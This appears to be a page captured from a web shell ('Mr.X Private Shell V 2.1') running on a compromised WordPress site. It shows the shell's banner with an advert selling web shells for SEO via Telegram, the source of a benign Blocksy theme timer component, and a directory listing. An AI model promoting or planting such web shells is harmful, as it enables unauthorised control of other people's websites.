__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
import { createElement } from '@wordpress/element'
import _ from 'underscore'
import { __ } from 'ct-i18n'
import classNames from 'classnames'
import { clamp, round } from './ct-slider'
import { getNumericKeyboardEvents } from '../helpers/getNumericKeyboardEvents'
const TimerNumberInput = ({
value,
option,
option: {
attr,
step = 1,
blockDecimal = true,
decimalPlaces = 1,
markAsAutoFor,
},
device,
onChange,
liftedOptionStateDescriptor,
}) => {
const { liftedOptionState, setLiftedOptionState } =
liftedOptionStateDescriptor
const parsedValue =
markAsAutoFor && markAsAutoFor.indexOf(device) > -1 ? 'auto' : value
const min = !option.min && option.min !== 0 ? -Infinity : option.min
const max = !option.max && option.max !== 0 ? Infinity : option.max
return (
<input
type="number"
value={
liftedOptionState && liftedOptionState.isEmptyInput
? ''
: parsedValue
}
onBlur={(e) => {
if (e?.nativeEvent?.relatedTarget?.matches('.ct-revert')) {
return
}
setLiftedOptionState({
isEmptyInput: false,
})
if (parseFloat(parsedValue)) {
onChange(round(clamp(min, max, parsedValue), decimalPlaces))
}
}}
onChange={({ target: { value } }) => {
if (value.toString().trim() === '') {
setLiftedOptionState({
isEmptyInput: true,
})
return
}
setLiftedOptionState({
isEmptyInput: false,
})
_.isNumber(parseFloat(value))
? onChange(round(value, decimalPlaces))
: parseFloat(value)
? onChange(
round(
Math.min(parseFloat(value), max),
decimalPlaces
)
)
: onChange(round(value, decimalPlaces))
}}
{...getNumericKeyboardEvents({
blockDecimal,
value: parsedValue,
onChange: (value) => {
onChange(round(clamp(min, max, value), decimalPlaces))
},
})}
/>
)
}
const TimerOption = ({ onChange, value, liftedOptionStateDescriptor }) => {
if (typeof value !== 'object') {
value = {
days: value,
hours: 0,
minutes: 0,
}
}
const { days, hours, minutes } = value
return (
<ul className={classNames('ct-option-time-picker', {})}>
<li>
<TimerNumberInput
liftedOptionStateDescriptor={liftedOptionStateDescriptor}
option={{
min: 0,
max: 100,
}}
value={days}
onChange={(val) => {
onChange({
...value,
days: val,
})
}}
/>
<div className="ct-option-description">
{__('Days', 'blocksy')}
</div>
</li>
<li>
<TimerNumberInput
liftedOptionStateDescriptor={liftedOptionStateDescriptor}
option={{
min: 0,
max: 24,
}}
value={hours}
onChange={(val) => {
onChange({
...value,
hours: val,
})
}}
/>
<div className="ct-option-description">
{__('Hours', 'blocksy')}
</div>
</li>
<li>
<TimerNumberInput
liftedOptionStateDescriptor={liftedOptionStateDescriptor}
option={{
min: 0,
max: 59,
}}
value={minutes}
onChange={(val) => {
onChange({
...value,
minutes: val,
})
}}
/>
<div className="ct-option-description">
{__('Minutes', 'blocksy')}
</div>
</li>
</ul>
)
}
TimerOption.supportedPurposes = ['default', 'gutenberg']
export default TimerOption
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| background | Folder | 0775 |
|
|
| box-shadow | Folder | 0775 |
|
|
| color-palettes | Folder | 0775 |
|
|
| color-picker | Folder | 0775 |
|
|
| ct-addable-box | Folder | 0775 |
|
|
| ct-layers | Folder | 0775 |
|
|
| ct-number | Folder | 0775 |
|
|
| ct-radio | Folder | 0775 |
|
|
| ct-select | Folder | 0775 |
|
|
| ct-slider | Folder | 0775 |
|
|
| ct-spacing | Folder | 0775 |
|
|
| ct-switch | Folder | 0775 |
|
|
| ratio | Folder | 0775 |
|
|
| text | Folder | 0775 |
|
|
| typography | Folder | 0775 |
|
|
| ct-addable-box.js | File | 6.16 KB | 0775 |
|
| ct-background.js | File | 5.46 KB | 0775 |
|
| ct-border.js | File | 2.75 KB | 0775 |
|
| ct-box-shadow.js | File | 2.64 KB | 0775 |
|
| ct-button.js | File | 456 B | 0775 |
|
| ct-checkboxes.js | File | 1.91 KB | 0775 |
|
| ct-color-palettes-mirror.js | File | 5.9 KB | 0775 |
|
| ct-color-palettes-picker.js | File | 6.49 KB | 0775 |
|
| ct-color-picker.js | File | 2.71 KB | 0775 |
|
| ct-customize-section-title-actions.js | File | 6.74 KB | 0775 |
|
| ct-customizer-reset-options.js | File | 1.83 KB | 0775 |
|
| ct-divider.js | File | 328 B | 0775 |
|
| ct-entity-picker.js | File | 2.39 KB | 0775 |
|
| ct-file-uploader.js | File | 2 KB | 0775 |
|
| ct-footer-builder.js | File | 5.96 KB | 0775 |
|
| ct-header-builder.js | File | 272 B | 0775 |
|
| ct-image-picker.js | File | 1.81 KB | 0775 |
|
| ct-image-uploader.js | File | 10.21 KB | 0775 |
|
| ct-layers-combined.js | File | 2.22 KB | 0775 |
|
| ct-layers-mirror.js | File | 1.15 KB | 0775 |
|
| ct-layers.js | File | 5.39 KB | 0775 |
|
| ct-multi-image-uploader.js | File | 3.14 KB | 0775 |
|
| ct-notification.js | File | 378 B | 0775 |
|
| ct-number.js | File | 454 B | 0775 |
|
| ct-panel.js | File | 8.88 KB | 0775 |
|
| ct-radio.js | File | 401 B | 0775 |
|
| ct-ratio.js | File | 6.87 KB | 0775 |
|
| ct-select.js | File | 669 B | 0775 |
|
| ct-slider.js | File | 14.14 KB | 0775 |
|
| ct-spacer.js | File | 386 B | 0775 |
|
| ct-spacing.js | File | 5.09 KB | 0775 |
|
| ct-switch.js | File | 508 B | 0775 |
|
| ct-timer.js | File | 3.27 KB | 0775 |
|
| ct-title.js | File | 562 B | 0775 |
|
| ct-typography.js | File | 7.35 KB | 0775 |
|
| ct-visibility.js | File | 4.76 KB | 0775 |
|
| ct-woocommerce-columns-and-rows.js | File | 3 KB | 0775 |
|
| ct-woocommerce-ratio.js | File | 1.66 KB | 0775 |
|
| date-time-picker.js | File | 811 B | 0775 |
|
| hidden.js | File | 243 B | 0775 |
|
| html.js | File | 264 B | 0775 |
|
| jsx.js | File | 237 B | 0775 |
|
| react-outside-click-handler.js | File | 3.17 KB | 0775 |
|
| text.js | File | 384 B | 0775 |
|
| textarea.js | File | 518 B | 0775 |
|
| wp-editor.js | File | 3.67 KB | 0775 |
|